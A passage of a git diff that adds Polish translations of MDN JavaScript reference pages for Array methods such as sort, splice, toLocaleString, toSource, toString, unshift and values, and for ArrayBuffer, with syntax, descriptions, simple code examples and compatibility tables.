+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.8")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.8")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/sort/index.html b/files/pl/web/javascript/referencje/obiekty/array/sort/index.html
new file mode 100644
index 0000000000..2b53d4e6d5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/sort/index.html
@@ -0,0 +1,122 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Referencje/Obiekty/Array/sort
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Sortuje elementy tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.sort([<var>compareFunction</var>])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>compareFunction</code> </dt>
+ <dd>jest nazwą funkcji porównującej elementy. Jeżeli parametr zostanie pominięty, tablica będzie posortowana w porządku leksykograficznym (alfabetycznie).</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeżeli <code>compareFunction</code> nie zostanie podana, elementy zostaną posortowane leksykograficznie (alfabetycznie - słownikowo) według porównania ich reprezentacji znakowej (łańcucha znaków). Przykładowo "80" znajdzie się przed "9" w porządku leksykograficznym, pomimo że numerycznie 9 poprzedza 80.</p>
+
+<p>Jeżeli <code>compareFunction</code> zostanie podana, elementy tablicy zostaną posortowane odpowiednio do wartości zwracanej przez funkcję porównującą. Jeżeli <code>a</code> oraz <code>b</code> są dwoma porównywanymi elementami tablicy to:</p>
+
+<ul>
+ <li><code>compareFunction(a, b)</code> zwróci wartość mniejszą od 0 - indeks elementu <code>a</code> będzie mniejszy niż indeks <code>b</code> (logicznie <code>a</code> &lt; <code>b</code>).</li>
+</ul>
+
+<ul>
+ <li><code>compareFunction(a, b)</code> zwróci 0 - pozostawia <code>a</code> oraz <code>b</code> w niezmienionej kolejności względem siebie, jednak w dalszym ciągu oba będą porównywane z innymi elementami (logicznie <code>b</code> = <code>a</code>). Uwaga: Standard ECMAscript nie gwarantuje niezmienionej kolejności (np. Mozilla wszystkie wersje do 2003 roku).</li>
+</ul>
+
+<ul>
+ <li><code>compareFunction(a, b)</code> zwraca wartość większą od 0 - indeks elementu <code>a</code> będzie większy niż indeks <code>b</code> (logicznie <code>a</code> &gt; <code>b</code>).</li>
+</ul>
+
+<p>Ogólna postać funkcji porównującej wygląda następująco:</p>
+
+<pre class="brush: js">function compare(a, b) {
+ if (a mniejsze niż b według kryteriów sortowania)
+ return -1
+ if (a większe od b według kryteriów sortowania)
+ return 1
+ // a równe b
+ return 0
+}
+</pre>
+
+<p>W celu porównania liczb, zamiast napisów, funkcja porównująca może odejmować <code>b</code> od <code>a</code>:</p>
+
+<pre class="brush: js">function compareNumbers(a, b) {
+ return a - b
+}
+</pre>
+
+<p>Niektóre implementacje JavaScript wykonują sortowanie stabilne: kolejność elementów <code>a</code> i <code>b</code> nie jest zmieniana jeśli <code>a</code> i <code>b</code> są sobie równe. Jeżeli przed sortowaniem <code>a</code> jest w tablicy wcześniej niż <code>b</code> oraz <code>a</code> i <code>b</code> są sobie równe, to po sortowaniu ich kolejność będzie taka sama (niezależnie od tego, jak zmienią się pozycje elementów <code>a</code> i <code>b</code>).</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Tworzenie.2C_wy.C5.9Bwietlanie_i_sortowanie_tablic" name="Przyk.C5.82ad:_Tworzenie.2C_wy.C5.9Bwietlanie_i_sortowanie_tablic">Przykład: Tworzenie, wyświetlanie i sortowanie tablic</h3>
+
+<p>Następujący przykład tworzy cztery tablice i wyświetla oryginalną tablicę, potem posortowane tablice. Tablice liczbowe są sortowane najpierw bez podania funkcji porównującej, następnie z taką funkcją.</p>
+
+<pre class="brush: js">stringArray = new Array("Blue","Humpback","Beluga")
+numericStringArray = new Array("80","9","700")
+numberArray = new Array(40,1,5,200)
+mixedNumericArray = new Array("80","9","700",40,1,5,200)
+
+function compareNumbers(a, b) {
+ return a - b
+}
+
+console.log("tablicaNapisów: " + stringArray.join())
+console.log("Posortowana: " + stringArray.sort())
+
+console.log("tablicaLiczbowa: " + numberArray.join())
+console.log("Posortowana bez funkcji porównującej: " + numberArray.sort())
+console.log("Posortowana z funkcją porównującą: " + numberArray.sort(compareNumbers))
+
+console.log("tablicaNapisówLiczbowych: " + numericStringArray.join())
+console.log("Posortowana bez funkcji porównującej: " + numericStringArray.sort())
+console.log("Posortowana z funkcją porównującą: " + numericStringArray.sort(compareNumbers))
+
+console.log("tablicaLiczbowaMieszna: " + mixedNumericArray.join())
+console.log("Posortowana bez funkcji porównującej: " + mixedNumericArray.sort())
+console.log("Posortowana z funkcją porównującą: " + mixedNumericArray.sort(compareNumbers))
+</pre>
+
+<p>Ten przykład wyświetla następujące dane. Jak widać, przy zastosowaniu funkcji porównującej, liczby są sortowane prawidłowo niezależnie od tego czy są przedstawiane jako wartości liczbowe bądź też napisy.</p>
+
+<pre>tablicaNapisów: Blue,Humpback,Beluga
+Posortowana: Beluga,Blue,Humpback
+
+tablicaLiczbowa: 40,1,5,200
+Posortowana bez funkcji porównującej: 1,200,40,5
+Posortowana z funkcją porównującą: 1,5,40,200
+
+tablicaNapisówLiczbowych: 80,9,700
+Posortowana bez funkcji porównującej: 700,80,9
+Posortowana z funkcją porównującą: 9,80,700
+
+tablicaLiczbowaMieszna: 80,9,700,40,1,5,200
+Posortowana bez funkcji porównującej: 1,200,40,5,700,80,9
+Posortowana z funkcją porównującą: 1,5,9,40,80,200,700
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/splice/index.html b/files/pl/web/javascript/referencje/obiekty/array/splice/index.html
new file mode 100644
index 0000000000..cc4d13def3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/splice/index.html
@@ -0,0 +1,86 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Referencje/Obiekty/Array/splice
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zmienia zawartość tablicy, dodając nowe elementy podczas usuwania starych elementów.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>array</var>.splice(<var>start</var>, <var>deleteCount</var>[, <var>item1</var>[, <var>item2</var>[, ...]]])
+</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Indeks od którego rozpoczynamy modyfikację tablicy.</dd>
+</dl>
+
+<dl>
+ <dt><code>deleteCount</code></dt>
+ <dd>Liczba całkowita określająca liczbę starych elementów tablicy do usunięcia. Jeżeli <font face="Consolas, Monaco, Andale Mono, monospace">deleteCount</font> wynosi 0, nic nie zostanie usunięte. W tym przypadku należy podać co najmniej jeden nowy element. W przypadku gdy parametr <font face="Consolas, Monaco, Andale Mono, monospace">deleteCount</font> nie został podany (druga forma składni podana powyżej, która jest rozszerzeniem SpiderMonkey), wszystkie elementy o indeksach wyższych <code>lub równych index</code> są usuwane.</dd>
+</dl>
+
+<dl>
+ <dt><code>itemN</code></dt>
+ <dd>Elementy dodawane do tablicy. Jeżeli nie określimy żadnych elementów, <code>splice</code> usunie tylko podaną liczbę elementów.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jeżeli podamy różną liczbę wstawianych elementów od liczby usuwanych elementów, tablica będzie posiadała inną długość po wywołaniu metody <code>splice</code>.</p>
+
+<p>Metoda <code>splice</code> zwraca tablicę zawierającą usunięte elementy. Jeżeli usunięty został tylko jeden element, zwracana jest tablica jednoelementowa.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_splice" name="Przyk.C5.82ad:_Zastosowanie_splice">Przykład: Zastosowanie <code>splice</code></h3>
+
+<p>Następujący skrypt ilustruje użycie splice:</p>
+
+<pre class="brush: js">myFish = ["anioł", "klaun", "mandarynka", "jesiotr"];
+console.log("myFish: " + myFish);
+
+removed = myFish.splice(2, 0, "bęben");
+console.log("Po dodaniu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(3, 1)
+console.log("Po usunięciu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(2, 1, "trąba")
+console.log("Po zastąpieniu 1: " + myFish);
+console.log("Usunięty jest: " + removed);
+
+removed = myFish.splice(0, 2, "papuga", "zawilec", "niebieski")
+console.log("Po zastąpieniu 2: " + myFish);
+console.log("Usunięty jest: " + removed);
+</pre>
+
+<p>Ten skrypt wyświetli:</p>
+
+<pre>myFish: ["anioł", "klaun", "mandarynka", "jesiotr"]
+
+Po dodaniu 1: ["anioł", "klaun", "bęben", "mandarynka", "jesiotr"]
+Usunięty jest: undefined
+
+Po usunięciu 1: ["anioł", "klaun", "bęben, "jesiotr"]
+Usunięty jest: mandarynka
+
+Po zastąpieniu 1: ["anioł", "klaun", "trąba", "jesiotr"]
+Usunięty jest: bęben
+
+Po zastąpieniu 2: ["papuga", "zawilec", "niebieski", "trąba", "jesiotr"]
+Usunięty jest: ["anioł", "klaun"]
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html
new file mode 100644
index 0000000000..1dc476c413
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/tolocalestring/index.html
@@ -0,0 +1,128 @@
+---
+title: Array.prototype.toLocaleString()
+slug: Web/JavaScript/Referencje/Obiekty/Array/toLocaleString
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<div>Metoda <code><strong>toLocaleString()</strong></code> zwraca łańcuch znaków reprezentujący wszystkie elementy w tablicy. Każdy element jest konwerterowany do  łańcucha znaku za pomocą lokalnych wywołań <code>toLocaleString. Elementy </code>łaczone są separatorem zdefiniowanym dla lokalnego języka (np. przecinek).</div>
+
+<div></div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox notranslate"><code><var>arr</var>.toLocaleString();</code></pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Poniższe elementy tablic są konwertowane na łańcuchy znaków za pomocą wbudowanych metod <code>toLocaleString</code></p>
+
+<ul>
+ <li><code>Object</code>: {{jsxref("Object.prototype.toLocaleString()")}}</li>
+ <li><code>Number</code>: {{jsxref("Number.prototype.toLocaleString()")}}</li>
+ <li><code>Date</code>: {{jsxref("Date.prototype.toLocaleString()")}}</li>
+</ul>
+
+<h2 id="Przykład">Przykład</h2>
+
+<h3 id="Użycie_toLocaleString">Użycie <code>toLocaleString</code></h3>
+
+<pre class="notranslate">let numer = 1337;
+let data = new Date();
+let tablica = [numer , data, 'foo'];
+
+let str = tablica.toLocaleString();
+
+console.log(str);
+// logs '1337,19.11.2020, 17:21:06,foo'
+// if run in a Polish (pl-PL) locale with timezone Europe/Warsaw
+
+
+let strEn = tablica.toLocaleString("en-US"); // "1,337,11/19/2020, 5:21:06 PM,foo"</pre>
+
+
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarze</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Inicjalna definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.4.3', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.tolocalestring', 'Array.prototype.toLocaleString')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html
new file mode 100644
index 0000000000..675e8431a2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/tosource/index.html
@@ -0,0 +1,62 @@
+---
+title: Array.prototype.toSource()
+slug: Web/JavaScript/Referencje/Obiekty/Array/toSource
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Non-standard
+ - Prototype
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący kod źródłowy tablicy.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toSource()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Metoda <code>toSource</code> zwraca następujące wartości:</p>
+
+<p><span class="comment">This shouldn't be here, but until reorganization where pages are moved to their proper places, the title of this article is ambiguous, so it can stay. After reorganization, this should be removed.</span></p>
+
+<ul>
+ <li>Dla wbudowanego obiektu <code>Array</code>, <code>toSource</code> zwraca następujący łańcuch znaków sygnalizując, że kod źródłowy jest niedostępny:
+
+ <pre class="brush: js">function Array() {
+ [natywny kod]
+}
+</pre>
+ </li>
+ <li>Dla instancji {{jsxref("Array")}}, <code>toSource</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li>
+</ul>
+
+<p>Metoda ta jest zazwyczaj wywoływana wewnętrznie przez JavaScript, a nie bezpośrednio w kodzie. Możliwe jest wywołanie <code>toSource</code> podczas debugowania, aby zbadać zawartość tablicy.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Sprawdzanie_kodu_.C5.BAr.C3.B3d.C5.82owego_tablicy" name="Przyk.C5.82ad:_Sprawdzanie_kodu_.C5.BAr.C3.B3d.C5.82owego_tablicy">Przykład: Sprawdzanie kodu źródłowego tablicy</h3>
+
+<p>Do sprawdzania kodu źródłowego tablicy:</p>
+
+<pre class="brush: js">var alpha = new Array("a", "b", "c");
+
+alpha.toSource() //zwraca ["a", "b", "c"]
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html
new file mode 100644
index 0000000000..e4801cbdc4
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/tostring/index.html
@@ -0,0 +1,42 @@
+---
+title: Array.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Array/toString
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/toString
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>toString()</strong></code> zwraca łańcuch znaków reprezentujący daną tablicę wraz z jej elementami.</p>
+
+<pre class="brush: js">var months = ['Styczeń', 'Luty', 'Marzec', 'Kwiecień'];
+months.toString(); // "Styczeń,Luty,Marzec,Kwiecień"
+</pre>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.toString()</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<p>Brak.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("Array")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}. Dla obiektów Array, metoda <code>toString</code> łączy tablicę i zwraca jeden łańcuch znaków zawierający wszystkie elementy tablicy oddzielone przecinkami. Przykładowo poniższy kod tworzy tablicę i stosuje metodę <code>toString</code>, aby przekształcić tablicę do łańcucha znaków.</p>
+
+<pre class="brush: js">var monthNames = new Array("Jan","Feb","Mar","Apr")
+var myVar = monthNames.toString() // przypisuje "Jan,Feb,Mar,Apr" do zmiennej myVar
+</pre>
+
+<p>JavaScript wywołuje metodę <code>toString</code> automatycznie, gdy tablica jest traktowana jako wartość tekstowa lub kiedy istnieje odniesienie do tej tablicy wewnątrz połączonego łańcucha znaków.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html b/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html
new file mode 100644
index 0000000000..56346f6552
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/unshift/index.html
@@ -0,0 +1,56 @@
+---
+title: Array.prototype.unshift()
+slug: Web/JavaScript/Referencje/Obiekty/Array/unshift
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/unshift
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Dodaje jeden lub więcej elementów na początek tablicy i zwraca jej nową długość.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.unshift([<var>element1</var>[, ...[, <var>elementN</var>]]])</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>element
+ <i>N</i>
+ </code> </dt>
+ <dd>Elementy do dodania na początek tablicy.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy" name="Przyk.C5.82ad:_Dodawanie_element.C3.B3w_do_tablicy">Przykład: Dodawanie elementów do tablicy</h3>
+
+<p>Następujący kod wyświetli tablicę <code>myFish</code> przed i po dodaniu do niej elementów.</p>
+
+<pre class="brush: js">myFish = ["anioł", "klaun"];
+console.log("myFish przed: " + myFish);
+unshifted = myFish.unshift("bęben", "lew");
+console.log("myFish po: " + myFish);
+console.log("Nowa długość tablicy: " + unshifted);
+</pre>
+
+<p>Powyższy przykład wyświetli:</p>
+
+<pre>myFish przed: ["anioł", "klaun"]
+myFish po: ["bęben", "lew", "anioł", "klaun"]
+Nowa długość tablicy: 4
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/array/values/index.html b/files/pl/web/javascript/referencje/obiekty/array/values/index.html
new file mode 100644
index 0000000000..b079877dd9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/array/values/index.html
@@ -0,0 +1,84 @@
+---
+title: Array.prototype.values()
+slug: Web/JavaScript/Referencje/Obiekty/Array/values
+tags:
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Metodă
+ - Prototype
+ - Tablica
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/values
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>values()</code></strong> zwraca nowy obiekt <strong><code>Array Iterator</code></strong> , który zawiera wartości dla każdego indeksu w tablicy.</p>
+
+<pre class="brush: js">var a = ['w', 'y', 'k', 'o', 'p'];
+var iterator = a.values();
+
+console.log(iterator.next().value); // w
+console.log(iterator.next().value); // y
+console.log(iterator.next().value); // k
+console.log(iterator.next().value); // o
+console.log(iterator.next().value); // p</pre>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><var>arr</var>.values()</pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy obiekt {{jsxref("Array")}} iterator.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Iteracja_używająca_pętli_for...of">Iteracja używająca pętli <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></h3>
+
+<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p'];
+var iterator = arr.values();
+
+for (let letter of iterator) {
+ console.log(letter);
+}
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.values")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.keys()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html b/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html
new file mode 100644
index 0000000000..f01e0fa67c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html
@@ -0,0 +1,222 @@
+---
+title: ArrayBuffer
+slug: Web/JavaScript/Referencje/Obiekty/ArrayBuffer
+tags:
+ - ArrayBuffer
+ - JavaScript
+ - Konstruktor
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer
+---
+<div>{{JSRef}}</div>
+
+<p>Objekt<strong> <code>ArrayBuffer</code></strong> reprezentuje buffer z surowymi danymi binarnymi o niezmiennej długości. Nie możesz bezpośrednio wpływać na zawartość obiektu <code><strong>ArrayBuffer</strong></code>, możesz natomiast stworzyć jeden z obiektów<code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">typedArray</a></code> lub obiekt {{jsxref("DataView")}} reprezentujący buffer w specjalnym formacie i używać tego obiektu do odczytu oraz zapisu treści buffera.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">new ArrayBuffer(length)
+</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>długość<code>(length)</code></dt>
+ <dd>Rozmiar, w bajtach, tworzony z bufferu tablicy (array buffer).</dd>
+</dl>
+
+<h3 id="Wartość_zwrócona">Wartość zwrócona</h3>
+
+<p>Nowy obiekt <code>ArrayBuffer</code> o określonym rozmiarze. Jego wartości początkowe wynoszą 0.</p>
+
+<h3 id="Wyjątki">Wyjątki</h3>
+
+<p>{{jsxref("RangeError")}} pojawi się, jeśli długość (<code>length</code>) jest większa niż {{jsxref("Number.MAX_SAFE_INTEGER")}} (&gt;= 2 ** 53) lub ujemna.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Konstruktor <code>ArrayBuffer</code> tworzy nowy <code>ArrayBuffer </code>z podanej długości (<code>length</code>) w bajtach.</p>
+
+<h3 id="Otrzymywanie_bufferu_tablicy_z_istniejących_danych">Otrzymywanie bufferu tablicy z istniejących danych</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">ze stringa Base64</a></li>
+ <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">z lokalnego pliku</a></li>
+</ul>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd>Właściwość długości konstruktura <code>ArrayBuffer</code>, której wartość wynosi 1.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>Funkcja konstruktora jest używana do tworzenia dostarczanych obiektów.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype")}}</dt>
+ <dd>Pozwala dodać właściwości do wszystkich obiektów <code>ArrayBuffer</code>.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt>
+ <dd>Zwraca <code>true</code>, jeśli <code>arg</code> jest jednym z widoków <code>ArrayBuffer</code>, jak obiekty <code>typedArray</code> lub {{jsxref("DataView")}}. W innych przypadkach zwraca <code>false</code>.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt>
+ <dd>
+ <div class="line" id="file-arraybuffer-transfer-LC6">Zwraca nowy <code>ArrayBuffer</code>, którego zawartości są pobrane z danych <code>oldBuffer</code>. Następnie zostaje skrócony lub przedłużony od 0 przez <code>newByteLength</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Instancje_ArrayBuffer"><code>Instancje ArrayBuffer</code></h2>
+
+<p>Wszystkie instancje <code>ArrayBuffer </code>dziedziczą z {{jsxref("ArrayBuffer.prototype")}}.</p>
+
+<h3 id="Właściwości_2">Właściwości</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p>
+
+<h3 id="Metody_2">Metody</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p>
+
